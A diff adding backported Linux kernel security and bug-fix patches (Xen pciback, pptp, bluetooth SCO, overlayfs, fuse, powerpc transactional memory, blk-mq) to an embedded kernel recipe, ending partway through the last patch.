b/recipes-kernel/linux/linux-sawfish/autopatcher/0070-408fb0e5aa7f-xenpciback Dont allow MSIX ops if PCICOMMANDMEMORY is not set.patch @@ -0,0 +1,63 @@ +From 408fb0e5aa7fda0059db282ff58c3b2a4278baa0 Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Mon, 2 Nov 2015 18:13:27 -0500 +Subject: xen/pciback: Don't allow MSI-X ops if PCI_COMMAND_MEMORY is not set. + +commit f598282f51 ("PCI: Fix the NIU MSI-X problem in a better way") +teaches us that dealing with MSI-X can be troublesome. + +Further checks in the MSI-X architecture shows that if the +PCI_COMMAND_MEMORY bit is turned of in the PCI_COMMAND we +may not be able to access the BAR (since they are memory regions). + +Since the MSI-X tables are located in there.. that can lead +to us causing PCIe errors. Inhibit us performing any +operation on the MSI-X unless the MEMORY bit is set. + +Note that Xen hypervisor with: +"x86/MSI-X: access MSI-X table only after having enabled MSI-X" +will return: +xen_pciback: 0000:0a:00.1: error -6 enabling MSI-X for guest 3! + +When the generic MSI code tries to setup the PIRQ without +MEMORY bit set. Which means with later versions of Xen +(4.6) this patch is not neccessary. + +This is part of XSA-157 + +CC: stable@vger.kernel.org +Reviewed-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +--- + drivers/xen/xen-pciback/pciback_ops.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index 4ee5fc080483d..73dafdc494aa8 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -212,6 +212,7 @@ int xen_pcibk_enable_msix(struct xen_pcibk_device *pdev, + struct xen_pcibk_dev_data *dev_data; + int i, result; + struct msix_entry *entries; ++ u16 cmd; + + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: enable MSI-X\n", +@@ -223,7 +224,12 @@ int xen_pcibk_enable_msix(struct xen_pcibk_device *pdev, + if (dev->msix_enabled) + return -EALREADY; + +- if (dev->msi_enabled) ++ /* ++ * PCI_COMMAND_MEMORY must be enabled, otherwise we may not be able ++ * to access the BARs where the MSI-X entries reside. ++ */ ++ pci_read_config_word(dev, PCI_COMMAND, &cmd); ++ if (dev->msi_enabled || !(cmd & PCI_COMMAND_MEMORY)) + return -ENXIO; + + entries = kmalloc(op->value * sizeof(*entries), GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0071-7681f31ec9cd-xenpciback Dont disable PCICOMMAND on PCI device reset.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0071-7681f31ec9cd-xenpciback Dont disable PCICOMMAND on PCI device reset.patch new file mode 100644 index 0000000..875b8f1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0071-7681f31ec9cd-xenpciback Dont disable PCICOMMAND on PCI device reset.patch @@ -0,0 +1,54 @@ +From 7681f31ec9cdacab4fd10570be924f2cef6669ba Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Wed, 13 Feb 2019 18:21:31 -0500 +Subject: xen/pciback: Don't disable PCI_COMMAND on PCI device reset. + +There is no need for this at all. Worst it means that if +the guest tries to write to BARs it could lead (on certain +platforms) to PCI SERR errors. + +Please note that with af6fc858a35b90e89ea7a7ee58e66628c55c776b +"xen-pciback: limit guest control of command register" +a guest is still allowed to enable those control bits (safely), but +is not allowed to disable them and that therefore a well behaved +frontend which enables things before using them will still +function correctly. + +This is done via an write to the configuration register 0x4 which +triggers on the backend side: +command_write + \- pci_enable_device + \- pci_enable_device_flags + \- do_pci_enable_device + \- pcibios_enable_device + \-pci_enable_resourcess + [which enables the PCI_COMMAND_MEMORY|PCI_COMMAND_IO] + +However guests (and drivers) which don't do this could cause +problems, including the security issues which XSA-120 sought +to address. + +Reported-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +Reviewed-by: Prarit Bhargava +Signed-off-by: Juergen Gross +--- + drivers/xen/xen-pciback/pciback_ops.c | 2 -- + 1 file changed, 2 deletions(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index ea4a08b83fa0..787966f44589 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -127,8 +127,6 @@ void xen_pcibk_reset_device(struct pci_dev *dev) + if (pci_is_enabled(dev)) + pci_disable_device(dev); + +- pci_write_config_word(dev, PCI_COMMAND, 0); +- + dev->is_busmaster = 0; + } else { + pci_read_config_word(dev, PCI_COMMAND, &cmd); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0072-652ed6f6effe-pptp verify sockaddrlen in pptpbind and pptpconnect.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0072-652ed6f6effe-pptp verify sockaddrlen in pptpbind and pptpconnect.patch new file mode 100644 index 0000000..8700a92 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0072-652ed6f6effe-pptp verify sockaddrlen in pptpbind and pptpconnect.patch @@ -0,0 +1,42 @@ +From 652ed6f6effe13ce2fc0215230517aa01bdbf3e3 Mon Sep 17 00:00:00 2001 +From: WANG Cong +Date: Mon, 14 Dec 2015 13:48:36 -0800 +Subject: pptp: verify sockaddr_len in pptp_bind() and pptp_connect() + +[ Upstream commit 09ccfd238e5a0e670d8178cf50180ea81ae09ae1 ] + +Reported-by: Dmitry Vyukov +Signed-off-by: Cong Wang +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + drivers/net/ppp/pptp.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/net/ppp/pptp.c b/drivers/net/ppp/pptp.c +index 1dc628ffce2b5..0710214df2bfa 100644 +--- a/drivers/net/ppp/pptp.c ++++ b/drivers/net/ppp/pptp.c +@@ -420,6 +420,9 @@ static int pptp_bind(struct socket *sock, struct sockaddr *uservaddr, + struct pptp_opt *opt = &po->proto.pptp; + int error = 0; + ++ if (sockaddr_len < sizeof(struct sockaddr_pppox)) ++ return -EINVAL; ++ + lock_sock(sk); + + opt->src_addr = sp->sa_addr.pptp; +@@ -441,6 +444,9 @@ static int pptp_connect(struct socket *sock, struct sockaddr *uservaddr, + struct flowi4 fl4; + int error = 0; + ++ if (sockaddr_len < sizeof(struct sockaddr_pppox)) ++ return -EINVAL; ++ + if (sp->sa_protocol != PX_PROTO_PPTP) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0073-566198569555-bluetooth Validate socket address length in scosockbind.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0073-566198569555-bluetooth Validate socket address length in scosockbind.patch new file mode 100644 index 0000000..4b590ab --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0073-566198569555-bluetooth Validate socket address length in scosockbind.patch @@ -0,0 +1,30 @@ +From 566198569555189eff9c11c67bbaefb1bacc7bfa Mon Sep 17 00:00:00 2001 +From: "David S. Miller" +Date: Tue, 15 Dec 2015 15:39:08 -0500 +Subject: bluetooth: Validate socket address length in sco_sock_bind(). + +[ Upstream commit 5233252fce714053f0151680933571a2da9cbfb4 ] + +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + net/bluetooth/sco.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/bluetooth/sco.c b/net/bluetooth/sco.c +index 7ee9e4ab00f88..b3ef78a644eda 100644 +--- a/net/bluetooth/sco.c ++++ b/net/bluetooth/sco.c +@@ -520,6 +520,9 @@ static int sco_sock_bind(struct socket *sock, struct sockaddr *addr, int addr_le + if (!addr || addr->sa_family != AF_BLUETOOTH) + return -EINVAL; + ++ if (addr_len < sizeof(struct sockaddr_sco)) ++ return -EINVAL; ++ + lock_sock(sk); + + if (sk->sk_state != BT_OPEN) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0074-acff81ec2c79-ovl fix permission checking for setattr.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0074-acff81ec2c79-ovl fix permission checking for setattr.patch new file mode 100644 index 0000000..44608c1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0074-acff81ec2c79-ovl fix permission checking for setattr.patch @@ -0,0 +1,46 @@ +From acff81ec2c79492b180fade3c2894425cd35a545 Mon Sep 17 00:00:00 2001 +From: Miklos Szeredi +Date: Fri, 4 Dec 2015 19:18:48 +0100 +Subject: ovl: fix permission checking for setattr + +[Al Viro] The bug is in being too enthusiastic about optimizing ->setattr() +away - instead of "copy verbatim with metadata" + "chmod/chown/utimes" +(with the former being always safe and the latter failing in case of +insufficient permissions) it tries to combine these two. Note that copyup +itself will have to do ->setattr() anyway; _that_ is where the elevated +capabilities are right. Having these two ->setattr() (one to set verbatim +copy of metadata, another to do what overlayfs ->setattr() had been asked +to do in the first place) combined is where it breaks. + +Signed-off-by: Miklos Szeredi +Cc: +Signed-off-by: Al Viro +--- + fs/overlayfs/inode.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/fs/overlayfs/inode.c b/fs/overlayfs/inode.c +index ec0c2a050043a..961284936917e 100644 +--- a/fs/overlayfs/inode.c ++++ b/fs/overlayfs/inode.c +@@ -49,13 +49,13 @@ int ovl_setattr(struct dentry *dentry, struct iattr *attr) + if (err) + goto out; + +- upperdentry = ovl_dentry_upper(dentry); +- if (upperdentry) { ++ err = ovl_copy_up(dentry); ++ if (!err) { ++ upperdentry = ovl_dentry_upper(dentry); ++ + mutex_lock(&upperdentry->d_inode->i_mutex); + err = notify_change(upperdentry, attr, NULL); + mutex_unlock(&upperdentry->d_inode->i_mutex); +- } else { +- err = ovl_copy_up_last(dentry, attr, false); + } + ovl_drop_write(dentry); + out: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0075-d48d21de5e80-fuse break infinite loop in fusefillwritepages.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0075-d48d21de5e80-fuse break infinite loop in fusefillwritepages.patch new file mode 100644 index 0000000..9d6849b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0075-d48d21de5e80-fuse break infinite loop in fusefillwritepages.patch @@ -0,0 +1,64 @@ +From d48d21de5e8054d38360e09d5f16508c0a17dd62 Mon Sep 17 00:00:00 2001 +From: Roman Gushchin +Date: Mon, 12 Oct 2015 16:33:44 +0300 +Subject: fuse: break infinite loop in fuse_fill_write_pages() + +[ Upstream commit 3ca8138f014a913f98e6ef40e939868e1e9ea876 ] + +I got a report about unkillable task eating CPU. Further +investigation shows, that the problem is in the fuse_fill_write_pages() +function. If iov's first segment has zero length, we get an infinite +loop, because we never reach iov_iter_advance() call. + +Fix this by calling iov_iter_advance() before repeating an attempt to +copy data from userspace. + +A similar problem is described in 124d3b7041f ("fix writev regression: +pan hanging unkillable and un-straceable"). If zero-length segmend +is followed by segment with invalid address, +iov_iter_fault_in_readable() checks only first segment (zero-length), +iov_iter_copy_from_user_atomic() skips it, fails at second and +returns zero -> goto again without skipping zero-length segment. + +Patch calls iov_iter_advance() before goto again: we'll skip zero-length +segment at second iteraction and iov_iter_fault_in_readable() will detect +invalid address. + +Special thanks to Konstantin Khlebnikov, who helped a lot with the commit +description. + +Cc: Andrew Morton +Cc: Maxim Patlasov +Cc: Konstantin Khlebnikov +Signed-off-by: Roman Gushchin +Signed-off-by: Miklos Szeredi +Fixes: ea9b9907b82a ("fuse: implement perform_write") +Cc: +Signed-off-by: Sasha Levin +--- + fs/fuse/file.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/fs/fuse/file.c b/fs/fuse/file.c +index caa8d95b24e84..e2a2c14a90ee7 100644 +--- a/fs/fuse/file.c ++++ b/fs/fuse/file.c +@@ -1088,6 +1088,7 @@ static ssize_t fuse_fill_write_pages(struct fuse_req *req, + tmp = iov_iter_copy_from_user_atomic(page, ii, offset, bytes); + flush_dcache_page(page); + ++ iov_iter_advance(ii, tmp); + if (!tmp) { + unlock_page(page); + page_cache_release(page); +@@ -1100,7 +1101,6 @@ static ssize_t fuse_fill_write_pages(struct fuse_req *req, + req->page_descs[req->num_pages].length = tmp; + req->num_pages++; + +- iov_iter_advance(ii, tmp); + count += tmp; + pos += tmp; + offset += tmp; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0076-07508eb3c9a1-iwcxgb3 Fix incorrectly returning error on success.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0076-07508eb3c9a1-iwcxgb3 Fix incorrectly returning error on success.patch new file mode 100644 index 0000000..e48cb18 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0076-07508eb3c9a1-iwcxgb3 Fix incorrectly returning error on success.patch @@ -0,0 +1,44 @@ +From 07508eb3c9a18afdb25b69d68c0fd3dd0698e148 Mon Sep 17 00:00:00 2001 +From: Hariprasad S +Date: Fri, 11 Dec 2015 13:59:17 +0530 +Subject: iw_cxgb3: Fix incorrectly returning error on success + +[ Upstream commit 67f1aee6f45059fd6b0f5b0ecb2c97ad0451f6b3 ] + +The cxgb3_*_send() functions return NET_XMIT_ values, which are +positive integers values. So don't treat positive return values +as an error. + +Signed-off-by: Steve Wise +Signed-off-by: Hariprasad Shenai +Signed-off-by: Doug Ledford +Signed-off-by: Sasha Levin +--- + drivers/infiniband/hw/cxgb3/iwch_cm.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/infiniband/hw/cxgb3/iwch_cm.c b/drivers/infiniband/hw/cxgb3/iwch_cm.c +index cb78b1e9bcd9e..f504ba73e5dc2 100644 +--- a/drivers/infiniband/hw/cxgb3/iwch_cm.c ++++ b/drivers/infiniband/hw/cxgb3/iwch_cm.c +@@ -149,7 +149,7 @@ static int iwch_l2t_send(struct t3cdev *tdev, struct sk_buff *skb, struct l2t_en + error = l2t_send(tdev, skb, l2e); + if (error < 0) + kfree_skb(skb); +- return error; ++ return error < 0 ? error : 0; + } + + int iwch_cxgb3_ofld_send(struct t3cdev *tdev, struct sk_buff *skb) +@@ -165,7 +165,7 @@ int iwch_cxgb3_ofld_send(struct t3cdev *tdev, struct sk_buff *skb) + error = cxgb3_ofld_send(tdev, skb); + if (error < 0) + kfree_skb(skb); +- return error; ++ return error < 0 ? error : 0; + } + + static void release_tid(struct t3cdev *tdev, u32 hwtid, struct sk_buff *skb) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0077-d2b9d2a5ad5e-powerpctm Block signal return setting invalid MSR state.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0077-d2b9d2a5ad5e-powerpctm Block signal return setting invalid MSR state.patch new file mode 100644 index 0000000..c243a1f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0077-d2b9d2a5ad5e-powerpctm Block signal return setting invalid MSR state.patch @@ -0,0 +1,86 @@ +From d2b9d2a5ad5ef04ff978c9923d19730cb05efd55 Mon Sep 17 00:00:00 2001 +From: Michael Neuling +Date: Thu, 19 Nov 2015 15:44:44 +1100 +Subject: powerpc/tm: Block signal return setting invalid MSR state + +Currently we allow both the MSR T and S bits to be set by userspace on +a signal return. Unfortunately this is a reserved configuration and +will cause a TM Bad Thing exception if attempted (via rfid). + +This patch checks for this case in both the 32 and 64 bit signals +code. If both T and S are set, we mark the context as invalid. + +Found using a syscall fuzzer. + +Fixes: 2b0a576d15e0 ("powerpc: Add new transactional memory state to the signal context") +Cc: stable@vger.kernel.org # v3.9+ +Signed-off-by: Michael Neuling +Signed-off-by: Michael Ellerman +--- + arch/powerpc/include/asm/reg.h | 1 + + arch/powerpc/kernel/signal_32.c | 14 +++++++++----- + arch/powerpc/kernel/signal_64.c | 4 ++++ + 3 files changed, 14 insertions(+), 5 deletions(-) + +diff --git a/arch/powerpc/include/asm/reg.h b/arch/powerpc/include/asm/reg.h +index a908ada8e0a53..2220f7a60def3 100644 +--- a/arch/powerpc/include/asm/reg.h ++++ b/arch/powerpc/include/asm/reg.h +@@ -108,6 +108,7 @@ + #define MSR_TS_T __MASK(MSR_TS_T_LG) /* Transaction Transactional */ + #define MSR_TS_MASK (MSR_TS_T | MSR_TS_S) /* Transaction State bits */ + #define MSR_TM_ACTIVE(x) (((x) & MSR_TS_MASK) != 0) /* Transaction active? */ ++#define MSR_TM_RESV(x) (((x) & MSR_TS_MASK) == MSR_TS_MASK) /* Reserved */ + #define MSR_TM_TRANSACTIONAL(x) (((x) & MSR_TS_MASK) == MSR_TS_T) + #define MSR_TM_SUSPENDED(x) (((x) & MSR_TS_MASK) == MSR_TS_S) + +diff --git a/arch/powerpc/kernel/signal_32.c b/arch/powerpc/kernel/signal_32.c +index 0dbee465af7a7..ef7c24e84a623 100644 +--- a/arch/powerpc/kernel/signal_32.c ++++ b/arch/powerpc/kernel/signal_32.c +@@ -875,6 +875,15 @@ static long restore_tm_user_regs(struct pt_regs *regs, + return 1; + #endif /* CONFIG_SPE */ + ++ /* Get the top half of the MSR from the user context */ ++ if (__get_user(msr_hi, &tm_sr->mc_gregs[PT_MSR])) ++ return 1; ++ msr_hi <<= 32; ++ /* If TM bits are set to the reserved value, it's an invalid context */ ++ if (MSR_TM_RESV(msr_hi)) ++ return 1; ++ /* Pull in the MSR TM bits from the user context */ ++ regs->msr = (regs->msr & ~MSR_TS_MASK) | (msr_hi & MSR_TS_MASK); + /* Now, recheckpoint. This loads up all of the checkpointed (older) + * registers, including FP and V[S]Rs. After recheckpointing, the + * transactional versions should be loaded. +@@ -884,11 +893,6 @@ static long restore_tm_user_regs(struct pt_regs *regs, + current->thread.tm_texasr |= TEXASR_FS; + /* This loads the checkpointed FP/VEC state, if used */ + tm_recheckpoint(¤t->thread, msr); +- /* Get the top half of the MSR */ +- if (__get_user(msr_hi, &tm_sr->mc_gregs[PT_MSR])) +- return 1; +- /* Pull in MSR TM from user context */ +- regs->msr = (regs->msr & ~MSR_TS_MASK) | ((msr_hi<<32) & MSR_TS_MASK); + + /* This loads the speculative FP/VEC state, if used */ + if (msr & MSR_FP) { +diff --git a/arch/powerpc/kernel/signal_64.c b/arch/powerpc/kernel/signal_64.c +index 20756dfb9f346..c676ecec0869b 100644 +--- a/arch/powerpc/kernel/signal_64.c ++++ b/arch/powerpc/kernel/signal_64.c +@@ -438,6 +438,10 @@ static long restore_tm_sigcontexts(struct pt_regs *regs, + + /* get MSR separately, transfer the LE bit if doing signal return */ + err |= __get_user(msr, &sc->gp_regs[PT_MSR]); ++ /* Don't allow reserved mode. */ ++ if (MSR_TM_RESV(msr)) ++ return -EINVAL; ++ + /* pull in MSR TM from user context */ + regs->msr = (regs->msr & ~MSR_TS_MASK) | (msr & MSR_TS_MASK); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0078-7f821fc9c77a-powerpctm Check for already reclaimed tasks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0078-7f821fc9c77a-powerpctm Check for already reclaimed tasks.patch new file mode 100644 index 0000000..9620b9d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0078-7f821fc9c77a-powerpctm Check for already reclaimed tasks.patch @@ -0,0 +1,73 @@ +From 7f821fc9c77a9b01fe7b1d6e72717b33d8d64142 Mon Sep 17 00:00:00 2001 +From: Michael Neuling +Date: Thu, 19 Nov 2015 15:44:45 +1100 +Subject: powerpc/tm: Check for already reclaimed tasks + +Currently we can hit a scenario where we'll tm_reclaim() twice. This +results in a TM bad thing exception because the second reclaim occurs +when not in suspend mode. + +The scenario in which this can happen is the following. We attempt to +deliver a signal to userspace. To do this we need obtain the stack +pointer to write the signal context. To get this stack pointer we +must tm_reclaim() in case we need to use the checkpointed stack +pointer (see get_tm_stackpointer()). Normally we'd then return +directly to userspace to deliver the signal without going through +__switch_to(). + +Unfortunatley, if at this point we get an error (such as a bad +userspace stack pointer), we need to exit the process. The exit will +result in a __switch_to(). __switch_to() will attempt to save the +process state which results in another tm_reclaim(). This +tm_reclaim() now causes a TM Bad Thing exception as this state has +already been saved and the processor is no longer in TM suspend mode. +Whee! + +This patch checks the state of the MSR to ensure we are TM suspended +before we attempt the tm_reclaim(). If we've already saved the state +away, we should no longer be in TM suspend mode. This has the +additional advantage of checking for a potential TM Bad Thing +exception. + +Found using syscall fuzzer. + +Fixes: fb09692e71f1 ("powerpc: Add reclaim and recheckpoint functions for context switching transactional memory processes") +Cc: stable@vger.kernel.org # v3.9+ +Signed-off-by: Michael Neuling +Signed-off-by: Michael Ellerman +--- + arch/powerpc/kernel/process.c | 18 ++++++++++++++++++ + 1 file changed, 18 insertions(+) + +diff --git a/arch/powerpc/kernel/process.c b/arch/powerpc/kernel/process.c +index 75b6676c1a0b..646bf4d222c1 100644 +--- a/arch/powerpc/kernel/process.c ++++ b/arch/powerpc/kernel/process.c +@@ -551,6 +551,24 @@ static void tm_reclaim_thread(struct thread_struct *thr, + msr_diff &= MSR_FP | MSR_VEC | MSR_VSX | MSR_FE0 | MSR_FE1; + } + ++ /* ++ * Use the current MSR TM suspended bit to track if we have ++ * checkpointed state outstanding. ++ * On signal delivery, we'd normally reclaim the checkpointed ++ * state to obtain stack pointer (see:get_tm_stackpointer()). ++ * This will then directly return to userspace without going ++ * through __switch_to(). However, if the stack frame is bad, ++ * we need to exit this thread which calls __switch_to() which ++ * will again attempt to reclaim the already saved tm state. ++ * Hence we need to check that we've not already reclaimed ++ * this state. ++ * We do this using the current MSR, rather tracking it in ++ * some specific thread_struct bit, as it has the additional ++ * benifit of checking for a potential TM bad thing exception. ++ */ ++ if (!MSR_TM_SUSPENDED(mfmsr())) ++ return; ++ + tm_reclaim(thr, thr->regs->msr, cause); + + /* Having done the reclaim, we now have the checkpointed +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0079-ab79efab0a0b-ovl fix dentry reference leak.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0079-ab79efab0a0b-ovl fix dentry reference leak.patch new file mode 100644 index 0000000..9503d02 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0079-ab79efab0a0b-ovl fix dentry reference leak.patch @@ -0,0 +1,52 @@ +From ab79efab0a0ba01a74df782eb7fa44b044dae8b5 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Fri, 18 Sep 2015 11:45:22 +0100 +Subject: ovl: fix dentry reference leak + +In ovl_copy_up_locked(), newdentry is leaked if the function exits through +out_cleanup as this just to out after calling ovl_cleanup() - which doesn't +actually release the ref on newdentry. + +The out_cleanup segment should instead exit through out2 as certainly +newdentry leaks - and possibly upper does also, though this isn't caught +given the catch of newdentry. + +Without this fix, something like the following is seen: + + BUG: Dentry ffff880023e9eb20{i=f861,n=#ffff880023e82d90} still in use (1) [unmount of tmpfs tmpfs] + BUG: Dentry ffff880023ece640{i=0,n=bigfile} still in use (1) [unmount of tmpfs tmpfs] + +when unmounting the upper layer after an error occurred in copyup. + +An error can be induced by creating a big file in a lower layer with +something like: + + dd if=/dev/zero of=/lower/a/bigfile bs=65536 count=1 seek=$((0xf000)) + +to create a large file (4.1G). Overlay an upper layer that is too small +(on tmpfs might do) and then induce a copy up by opening it writably. + +Reported-by: Ulrich Obergfell +Signed-off-by: David Howells +Signed-off-by: Miklos Szeredi +Cc: # v3.18+ +--- + fs/overlayfs/copy_up.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/fs/overlayfs/copy_up.c b/fs/overlayfs/copy_up.c +index b1990ac8fa09..871fcb67be97 100644 +--- a/fs/overlayfs/copy_up.c ++++ b/fs/overlayfs/copy_up.c +@@ -267,7 +267,7 @@ out: + + out_cleanup: + ovl_cleanup(wdir, newdentry); +- goto out; ++ goto out2; + } + + /* +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0080-b6885d31d1c6-blkmq fix race between timeout and freeing request.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0080-b6885d31d1c6-blkmq fix race between timeout and freeing request.patch new file mode 100644 index 0000000..2105484 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0080-b6885d31d1c6-blkmq fix race between timeout and freeing request.patch @@ -0,0 +1,228 @@ +From b6885d31d1c6b6f4ccd50535d24dbe5c3d8a7d7b Mon Sep 17 00:00:00 2001 +From: Ming Lei +Date: Sun, 9 Aug 2015 03:41:51 -0400 +Subject: blk-mq: fix race between timeout and freeing request + +commit 0048b4837affd153897ed1222283492070027aa9 upstream. + +Inside timeout handler, blk_mq_tag_to_rq() is called +to retrieve the request from one tag. This way is obviously +wrong because the request can be freed any time and some +fiedds of the request can't be trusted, then kernel oops +might be triggered[1]. + +Currently wrt. blk_mq_tag_to_rq(), the only special case is +that the flush request can share same tag with the request +cloned from, and the two requests can't be active at the same +time, so this patch fixes the above issue by updating tags->rqs[tag] +with the active request(either flush rq or the request cloned +from) of the tag. + +Also blk_mq_tag_to_rq() gets much simplified with this patch. + +Given blk_mq_tag_to_rq() is mainly for drivers and the caller must +make sure the request can't be freed, so in bt_for_each() this +helper is replaced with tags->rqs[tag]. + +[1] kernel oops log +[ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M +[ 439.697162] IP: [] blk_mq_tag_to_rq+0x21/0x6e^M +[ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M +[ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M +[ 439.700653] Dumping ftrace buffer:^M +[ 439.700653] (ftrace buffer empty)^M +[ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M +[ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M +[ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M +[ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M +[ 439.730500] RIP: 0010:[] [] blk_mq_tag_to_rq+0x21/0x6e^M +[ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M +[ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M +[ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M +[ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M +[ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M +[ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M +[ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M +[ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M +[ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M +[ 439.730500] Stack:^M +[ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M +[ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M +[ 439.755663] Call Trace:^M +[ 439.755663] ^M +[ 439.755663] [] bt_for_each+0x6e/0xc8^M +[ 439.755663] [] ? blk_mq_rq_timed_out+0x6a/0x6a^M +[ 439.755663] [] ? blk_mq_rq_timed_out+0x6a/0x6a^M +[ 439.755663] [] blk_mq_tag_busy_iter+0x55/0x5e^M +[ 439.755663] [] ? blk_mq_bio_to_request+0x38/0x38^M +[ 439.755663] [] blk_mq_rq_timer+0x5d/0xd4^M +[ 439.755663] [] call_timer_fn+0xf7/0x284^M +[ 439.755663] [] ? call_timer_fn+0x5/0x284^M +[ 439.755663] [] ? blk_mq_bio_to_request+0x38/0x38^M +[ 439.755663] [] run_timer_softirq+0x1ce/0x1f8^M +[ 439.755663] [] __do_softirq+0x181/0x3a4^M +[ 439.755663] [] irq_exit+0x40/0x94^M +[ 439.755663] [] smp_apic_timer_interrupt+0x33/0x3e^M +[ 439.755663] [] apic_timer_interrupt+0x84/0x90^M +[ 439.755663] ^M +[ 439.755663] [] ? _raw_spin_unlock_irq+0x32/0x4a^M +[ 439.755663] [] finish_task_switch+0xe0/0x163^M +[ 439.755663] [] ? finish_task_switch+0xa2/0x163^M +[ 439.755663] [] __schedule+0x469/0x6cd^M +[ 439.755663] [] schedule+0x82/0x9a^M +[ 439.789267] [] signalfd_read+0x186/0x49a^M +[ 439.790911] [] ? wake_up_q+0x47/0x47^M +[ 439.790911] [] __vfs_read+0x28/0x9f^M +[ 439.790911] [] ? __fget_light+0x4d/0x74^M +[ 439.790911] [] vfs_read+0x7a/0xc6^M +[ 439.790911] [] SyS_read+0x49/0x7f^M +[ 439.790911] [] entry_SYSCALL_64_fastpath+0x12/0x6f^M +[ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 +f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b +53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 +^M +[ 439.790911] RIP [] blk_mq_tag_to_rq+0x21/0x6e^M +[ 439.790911] RSP ^M +[ 439.790911] CR2: 0000000000000158^M +[ 439.790911] ---[ end trace d40af58949325661 ]---^M + +Signed-off-by: Ming Lei 